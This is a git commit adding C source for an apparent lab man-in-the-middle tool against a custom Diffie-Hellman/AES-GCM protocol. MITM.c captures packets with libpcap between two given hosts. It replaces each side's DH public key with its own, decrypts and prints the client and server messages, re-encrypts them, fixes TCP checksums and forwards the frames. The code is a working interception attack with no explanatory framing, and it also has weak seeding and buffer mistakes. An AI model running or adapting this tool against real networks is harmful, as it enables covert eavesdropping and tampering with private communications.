init repo
This commit is contained in:
parent
fdd7eff7d8
commit
3466e2693b
149
MITM/Diffie_hellman.c
Normal file
149
MITM/Diffie_hellman.c
Normal file
@ -0,0 +1,149 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <gmp.h>
|
||||||
|
#include <string.h>
|
||||||
|
typedef struct{
|
||||||
|
mpz_t prime;
|
||||||
|
mpz_t base;
|
||||||
|
mpz_t private_key;
|
||||||
|
mpz_t public_key;
|
||||||
|
mpz_t key_for_server; //g^(AB)
|
||||||
|
mpz_t key_for_client; //g^(AB)
|
||||||
|
FILE *urand;
|
||||||
|
}Mim_key;
|
||||||
|
|
||||||
|
void generate_random(size_t sz, unsigned char* random_bytes,Mim_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned int init_random = 0;
|
||||||
|
size_t i = 0;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_random\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||||
|
srand(init_random);
|
||||||
|
for(i = 0; i < sz; i++)
|
||||||
|
{
|
||||||
|
random_bytes[i] = rand();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void put_hex(unsigned char* value, unsigned int len){
|
||||||
|
//printf("%d:",len);
|
||||||
|
printf("exchange key");
|
||||||
|
for(int i=0;i<len;i++)
|
||||||
|
printf("%02x ",value[i]);
|
||||||
|
puts("");
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char* str2hex(char *hexStr){
|
||||||
|
int len=strlen(hexStr)/2;
|
||||||
|
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||||
|
memset(hexvalue,0,len);
|
||||||
|
for(int i=0;i<len;i++){
|
||||||
|
if(hexStr[i*2]<='9'){
|
||||||
|
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||||
|
}else
|
||||||
|
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
|
||||||
|
|
||||||
|
if(hexStr[i*2+1]<='9'){
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||||
|
}else
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||||
|
}
|
||||||
|
return hexvalue;
|
||||||
|
}
|
||||||
|
|
||||||
|
void generate_key(size_t sz, Mim_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == dhk->private_key)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_key\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
generate_random(sz, random_bytes, dhk);
|
||||||
|
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
free(random_bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void init_prime(size_t sz,Mim_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_t tmp;
|
||||||
|
mpz_t x;
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
if(0 == sz)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for init_prime\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
mpz_init(tmp);
|
||||||
|
mpz_init(x);
|
||||||
|
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
generate_random(sz, random_bytes,dhk);
|
||||||
|
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||||
|
random_bytes[0] |= (unsigned char)1;
|
||||||
|
|
||||||
|
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||||
|
{
|
||||||
|
mpz_add_ui(tmp, tmp, 2);
|
||||||
|
}
|
||||||
|
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||||
|
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||||
|
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(random_bytes);
|
||||||
|
|
||||||
|
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||||
|
|
||||||
|
mpz_clear(tmp);
|
||||||
|
mpz_clear(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void init_numbers(Mim_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_init(dhk->key_for_client);
|
||||||
|
mpz_init(dhk->key_for_server);
|
||||||
|
mpz_init(dhk->prime);
|
||||||
|
mpz_init(dhk->base);
|
||||||
|
mpz_init(dhk->private_key);
|
||||||
|
mpz_init(dhk->public_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void clear_numbers(Mim_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_clear(dhk->key_for_client);
|
||||||
|
mpz_clear(dhk->key_for_server);
|
||||||
|
mpz_clear(dhk->prime);
|
||||||
|
mpz_clear(dhk->base);
|
||||||
|
mpz_clear(dhk->private_key);
|
||||||
|
mpz_clear(dhk->public_key);
|
||||||
|
}
|
274
MITM/MITM.c
Normal file
274
MITM/MITM.c
Normal file
@ -0,0 +1,274 @@
|
|||||||
|
#include <pcap.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <netinet/ip.h>
|
||||||
|
#include <netinet/tcp.h>
|
||||||
|
#include <net/ethernet.h>
|
||||||
|
#include "Diffie_hellman.c"
|
||||||
|
|
||||||
|
#define MAXBYTES2CAPTURE 2048
|
||||||
|
|
||||||
|
typedef struct{
|
||||||
|
unsigned char client_ip[16];
|
||||||
|
unsigned char server_ip[16];
|
||||||
|
pcap_t *p;
|
||||||
|
}ip_rule;
|
||||||
|
|
||||||
|
struct psd_header{
|
||||||
|
unsigned int saddr;
|
||||||
|
unsigned int daddr;
|
||||||
|
char mbz;
|
||||||
|
char ptcl;
|
||||||
|
unsigned short tcpl;
|
||||||
|
};
|
||||||
|
Mim_key dh_key;
|
||||||
|
unsigned char server_mac[]={0x00,0x0c,0x29,0x83,0xfc,0xdf};
|
||||||
|
unsigned char client_mac[]={0x00,0x0c,0x29,0xb5,0x23,0x98};
|
||||||
|
unsigned char self_mac[]={0x00, 0x0c, 0x29, 0x07, 0x31, 0x61};
|
||||||
|
//计算tcp校验和
|
||||||
|
uint16_t calc_checksum(void *pkt, int len) {
|
||||||
|
uint16_t *buf = (uint16_t*)pkt;
|
||||||
|
uint32_t checksum = 0;
|
||||||
|
while (len > 1)
|
||||||
|
{
|
||||||
|
checksum += *buf++;
|
||||||
|
checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||||
|
len -= 2;
|
||||||
|
}
|
||||||
|
if (len)
|
||||||
|
{
|
||||||
|
checksum += *((uint8_t*)buf);
|
||||||
|
checksum = (checksum >> 16) + (checksum & 0xffff);
|
||||||
|
}
|
||||||
|
return (uint16_t)((~checksum) & 0xffff);
|
||||||
|
}
|
||||||
|
//伪造
|
||||||
|
void set_psdheader(struct psd_header* ph,struct iphdr *ip, uint16_t tl){
|
||||||
|
ph->saddr=ip->saddr;
|
||||||
|
ph->daddr=ip->daddr;
|
||||||
|
ph->mbz=0;
|
||||||
|
ph->ptcl=6;
|
||||||
|
ph->tcpl=htons(tl);
|
||||||
|
}
|
||||||
|
|
||||||
|
//捕包
|
||||||
|
void tcp_callback(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char * packet){
|
||||||
|
struct ether_header *ethernet;
|
||||||
|
struct iphdr *ip;
|
||||||
|
struct tcphdr *tcp;
|
||||||
|
char srcip_str[16];
|
||||||
|
int hdr_len = ETHER_HDR_LEN + sizeof(struct iphdr) + sizeof(struct tcphdr) + 12;
|
||||||
|
int dl=pkthdr->len-hdr_len;
|
||||||
|
|
||||||
|
memset(srcip_str,0,16);
|
||||||
|
ip_rule * ip_r=(ip_rule*)arg;
|
||||||
|
//数据帧头部
|
||||||
|
ethernet = (struct ether_header*)(packet);
|
||||||
|
//ip头部
|
||||||
|
ip = (struct iphdr*)(packet + ETHER_HDR_LEN);
|
||||||
|
//tcp头部
|
||||||
|
tcp = (struct tcphdr*)(packet + ETHER_HDR_LEN+ sizeof(struct iphdr));
|
||||||
|
inet_ntop(AF_INET,&(ip->saddr),srcip_str,16);
|
||||||
|
memcpy(ethernet->ether_shost, self_mac, 6);
|
||||||
|
|
||||||
|
//处理服务器端发送的信息
|
||||||
|
if(strncmp(srcip_str, ip_r->server_ip, strlen(srcip_str))==0)
|
||||||
|
{
|
||||||
|
//模
|
||||||
|
if(strncmp(packet+hdr_len,"pri",3)==0)
|
||||||
|
{
|
||||||
|
mpz_set_str(dh_key.prime, packet+hdr_len+3, 16);
|
||||||
|
}
|
||||||
|
else if(strncmp(packet+hdr_len,"data",4)==0)
|
||||||
|
{
|
||||||
|
char *buff=packet+hdr_len;
|
||||||
|
char *plain=(char*)malloc(dl-48);
|
||||||
|
bzero(plain, sizeof(buff));
|
||||||
|
char key_string[128],key_value[32];
|
||||||
|
mpz_get_str(key_string, 16, dh_key.key_for_server);
|
||||||
|
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||||
|
|
||||||
|
//解密
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
|
||||||
|
printf("[server]%s",plain);
|
||||||
|
|
||||||
|
//加密
|
||||||
|
bzero(key_string, sizeof(key_string));
|
||||||
|
mpz_get_str(key_string, 16, dh_key.key_for_client);
|
||||||
|
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||||
|
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
|
||||||
|
|
||||||
|
//伪造tcp头
|
||||||
|
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||||
|
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||||
|
struct psd_header ph;
|
||||||
|
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||||
|
set_psdheader(&ph, ip, tcp_len);
|
||||||
|
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||||
|
tcp->check=0;
|
||||||
|
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||||
|
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||||
|
tcp->check=cs;
|
||||||
|
}
|
||||||
|
else if(strncmp(packet+hdr_len,"pub",3)==0)
|
||||||
|
{
|
||||||
|
mpz_t key_from_s;
|
||||||
|
mpz_init(key_from_s);
|
||||||
|
mpz_set_str(key_from_s,packet+hdr_len+3,16);
|
||||||
|
mpz_powm(dh_key.key_for_server, key_from_s, dh_key.private_key, dh_key.prime);
|
||||||
|
unsigned char pub[64];
|
||||||
|
mpz_get_str(pub,16,dh_key.public_key);
|
||||||
|
memcpy(packet+hdr_len+3,pub,sizeof(pub));
|
||||||
|
|
||||||
|
//伪造tcp头
|
||||||
|
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||||
|
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||||
|
struct psd_header ph;
|
||||||
|
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||||
|
set_psdheader(&ph, ip, tcp_len);
|
||||||
|
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||||
|
tcp->check=0;
|
||||||
|
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||||
|
unsigned short cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||||
|
tcp->check=cs;
|
||||||
|
}
|
||||||
|
memcpy(ethernet->ether_dhost,client_mac,6);
|
||||||
|
}
|
||||||
|
//处理客户端
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(strncmp(packet+hdr_len,"data",4)==0)
|
||||||
|
{
|
||||||
|
//decrypt
|
||||||
|
char *buff=packet+hdr_len;
|
||||||
|
char *plain=(char*)malloc(dl-48);
|
||||||
|
bzero(plain, sizeof(buff));
|
||||||
|
char key_string[128],key_value[32];
|
||||||
|
mpz_get_str(key_string, 16, dh_key.key_for_client);
|
||||||
|
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||||
|
|
||||||
|
//解密
|
||||||
|
unsigned char iv[12],add[16],tag[16];
|
||||||
|
memcpy(add,buff+4,16);
|
||||||
|
memcpy(iv,buff+16+4,12);
|
||||||
|
memset(tag,0,16);
|
||||||
|
int tmp=aes_gcm_ad(key_value, 32,iv, 12,buff+44+4, dl-44-4,add, 16,tag, plain);
|
||||||
|
printf("[client]%s",plain);
|
||||||
|
|
||||||
|
//加密
|
||||||
|
bzero(key_string, sizeof(key_string));
|
||||||
|
mpz_get_str(key_string, 16, dh_key.key_for_server);
|
||||||
|
memcpy(key_value, str2hex(key_string), sizeof(key_value));
|
||||||
|
tmp=aes_gcm_ae(key_value, 32,iv,12,plain,dl-48,add, 16,buff+44+4, tag);
|
||||||
|
|
||||||
|
//伪造
|
||||||
|
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||||
|
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||||
|
struct psd_header ph;
|
||||||
|
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||||
|
set_psdheader(&ph, ip, tcp_len);
|
||||||
|
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||||
|
tcp->check=0;
|
||||||
|
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||||
|
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||||
|
tcp->check=cs;
|
||||||
|
}
|
||||||
|
else if(strncmp(packet+hdr_len,"pub",3)==0)
|
||||||
|
{
|
||||||
|
unsigned char pub[64];
|
||||||
|
generate_key(32,&dh_key);
|
||||||
|
mpz_t key_from_c;
|
||||||
|
mpz_init(key_from_c);
|
||||||
|
mpz_set_str(key_from_c,packet+hdr_len+3,16);
|
||||||
|
mpz_powm(dh_key.key_for_client, key_from_c, dh_key.private_key, dh_key.prime);
|
||||||
|
mpz_powm(dh_key.public_key, dh_key.base, dh_key.private_key, dh_key.prime);
|
||||||
|
memcpy(ethernet->ether_dhost,server_mac,6);
|
||||||
|
|
||||||
|
mpz_get_str(pub,16,dh_key.public_key);
|
||||||
|
memcpy(packet+hdr_len+3,pub,sizeof(pub));
|
||||||
|
|
||||||
|
uint16_t tcp_len =pkthdr->len-ETHER_HDR_LEN-sizeof(struct iphdr);
|
||||||
|
unsigned char * data_for_checksum=(unsigned char*)malloc(tcp_len+sizeof(struct psd_header));
|
||||||
|
struct psd_header ph;
|
||||||
|
bzero(data_for_checksum, tcp_len+sizeof(ph));
|
||||||
|
set_psdheader(&ph, ip, tcp_len);
|
||||||
|
memcpy(data_for_checksum, (void*)(&ph), sizeof(ph));
|
||||||
|
tcp->check=0;
|
||||||
|
memcpy(data_for_checksum+sizeof(ph), tcp, tcp_len);
|
||||||
|
uint16_t cs= calc_checksum(data_for_checksum, tcp_len + sizeof(ph));
|
||||||
|
tcp->check=cs;
|
||||||
|
}
|
||||||
|
memcpy(ethernet->ether_dhost,server_mac,6);
|
||||||
|
}
|
||||||
|
pcap_sendpacket(ip_r->p,packet,pkthdr->len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* main(): Main function. Opens network interface and calls pcap_loop() */
|
||||||
|
int main(int argc, char *argv[] ){
|
||||||
|
int i=0, count=0;
|
||||||
|
pcap_t *descr = NULL;
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE], *device=NULL;
|
||||||
|
struct bpf_program filter;
|
||||||
|
|
||||||
|
memset(errbuf,0,PCAP_ERRBUF_SIZE);
|
||||||
|
init_numbers(&dh_key);
|
||||||
|
mpz_set_ui(dh_key.base, (unsigned long)2);
|
||||||
|
dh_key.urand = fopen("/dev/urandom","r");
|
||||||
|
|
||||||
|
//获得网卡信息
|
||||||
|
if ( (device = pcap_lookupdev(errbuf)) == NULL)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "ERROR: %s\n", errbuf);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("Opening device %s\n", device);
|
||||||
|
//打开网卡
|
||||||
|
if ( (descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1, 512, errbuf)) == NULL)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "ERROR: %s\n", errbuf);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
//设置过滤信息
|
||||||
|
char rule[128];
|
||||||
|
memset(rule,0,128);
|
||||||
|
strncat(rule,"(src host ",10);
|
||||||
|
strncat(rule,argv[1],strlen(argv[1]));
|
||||||
|
strncat(rule," and dst host ",14);
|
||||||
|
strncat(rule,argv[2],strlen(argv[2]));
|
||||||
|
strncat(rule,") or (src host ",15);
|
||||||
|
strncat(rule,argv[2],strlen(argv[2]));
|
||||||
|
strncat(rule," and dst host ",14);
|
||||||
|
strncat(rule,argv[1],strlen(argv[1]));
|
||||||
|
strncat(rule, ")", 1);
|
||||||
|
if(pcap_compile(descr,&filter,rule,1,0)<0)
|
||||||
|
{
|
||||||
|
printf("error\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if(pcap_setfilter(descr,&filter)<0)
|
||||||
|
{
|
||||||
|
printf("error\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
ip_rule ip_r;
|
||||||
|
ip_r.p=descr;
|
||||||
|
memset(ip_r.client_ip,0,15);
|
||||||
|
memcpy(ip_r.client_ip, argv[1],strlen(argv[1]));
|
||||||
|
memset(ip_r.server_ip,0,15);
|
||||||
|
memcpy(ip_r.server_ip, argv[2],strlen(argv[2]));
|
||||||
|
//循环捕包
|
||||||
|
if (pcap_loop(descr, -1, tcp_callback, (u_char *) &ip_r) == -1)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
246
MITM/aes-common.h
Normal file
246
MITM/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
|||||||
|
#ifndef AES_COMMON_H
|
||||||
|
#define AES_COMMON_H
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
|
||||||
|
/* integer types */
|
||||||
|
|
||||||
|
typedef unsigned char aes_uchar;
|
||||||
|
typedef unsigned short aes_ushort;
|
||||||
|
typedef unsigned int aes_uint;
|
||||||
|
typedef unsigned long long aes_ulong;
|
||||||
|
typedef signed char aes_char;
|
||||||
|
typedef signed short aes_short;
|
||||||
|
typedef signed int aes_int;
|
||||||
|
typedef signed long long aes_long;
|
||||||
|
|
||||||
|
|
||||||
|
/* byte order */
|
||||||
|
|
||||||
|
#if defined(__linux__) || defined(__GLIBC__)
|
||||||
|
#include <endian.h>
|
||||||
|
#include <byteswap.h>
|
||||||
|
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||||
|
|
||||||
|
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||||
|
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/endian.h>
|
||||||
|
#define __BYTE_ORDER _BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||||
|
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||||
|
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||||
|
|
||||||
|
#ifdef sun
|
||||||
|
#include <sys/isa_defs.h>
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#ifdef _LITTLE_ENDIAN
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#else
|
||||||
|
#define __BYTE_ORDER __BIG_ENDIAN
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define inline __inline
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#endif /* _MSC_VER */
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <machine/endian.h>
|
||||||
|
#define __BYTE_ORDER BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN BIG_ENDIAN
|
||||||
|
#endif /* __APPLE__ */
|
||||||
|
|
||||||
|
|
||||||
|
/* byte swap macros */
|
||||||
|
|
||||||
|
#ifndef bswap_16
|
||||||
|
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||||
|
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_32
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_32(a) __builtin_bswap32(a)
|
||||||
|
#else
|
||||||
|
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||||
|
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||||
|
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||||
|
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_64
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_64(a) __builtin_bswap64(a)
|
||||||
|
#else
|
||||||
|
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||||
|
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||||
|
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||||
|
#define le_to_host16(n) (n)
|
||||||
|
#define host_to_le16(n) (n)
|
||||||
|
#define be_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_be16(n) bswap_16(n)
|
||||||
|
#define le_to_host32(n) (n)
|
||||||
|
#define host_to_le32(n) (n)
|
||||||
|
#define be_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_be32(n) bswap_32(n)
|
||||||
|
#define le_to_host64(n) (n)
|
||||||
|
#define host_to_le64(n) (n)
|
||||||
|
#define be_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_be64(n) bswap_64(n)
|
||||||
|
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||||
|
#define le_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_le16(n) bswap_16(n)
|
||||||
|
#define be_to_host16(n) (n)
|
||||||
|
#define host_to_be16(n) (n)
|
||||||
|
#define le_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_le32(n) bswap_32(n)
|
||||||
|
#define be_to_host32(n) (n)
|
||||||
|
#define host_to_be32(n) (n)
|
||||||
|
#define le_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_le64(n) bswap_64(n)
|
||||||
|
#define be_to_host64(n) (n)
|
||||||
|
#define host_to_be64(n) (n)
|
||||||
|
#else
|
||||||
|
#error Could not determine CPU byte order
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* unaligned memory accesses */
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 8) | a[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 8;
|
||||||
|
a[1] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[2] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 24) & 0xff;
|
||||||
|
a[1] = (val >> 16) & 0xff;
|
||||||
|
a[2] = (val >> 8) & 0xff;
|
||||||
|
a[3] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[3] = (val >> 24) & 0xff;
|
||||||
|
a[2] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||||
|
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||||
|
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||||
|
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 56;
|
||||||
|
a[1] = val >> 48;
|
||||||
|
a[2] = val >> 40;
|
||||||
|
a[3] = val >> 32;
|
||||||
|
a[4] = val >> 24;
|
||||||
|
a[5] = val >> 16;
|
||||||
|
a[6] = val >> 8;
|
||||||
|
a[7] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||||
|
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||||
|
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||||
|
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[7] = val >> 56;
|
||||||
|
a[6] = val >> 48;
|
||||||
|
a[5] = val >> 40;
|
||||||
|
a[4] = val >> 32;
|
||||||
|
a[3] = val >> 24;
|
||||||
|
a[2] = val >> 16;
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
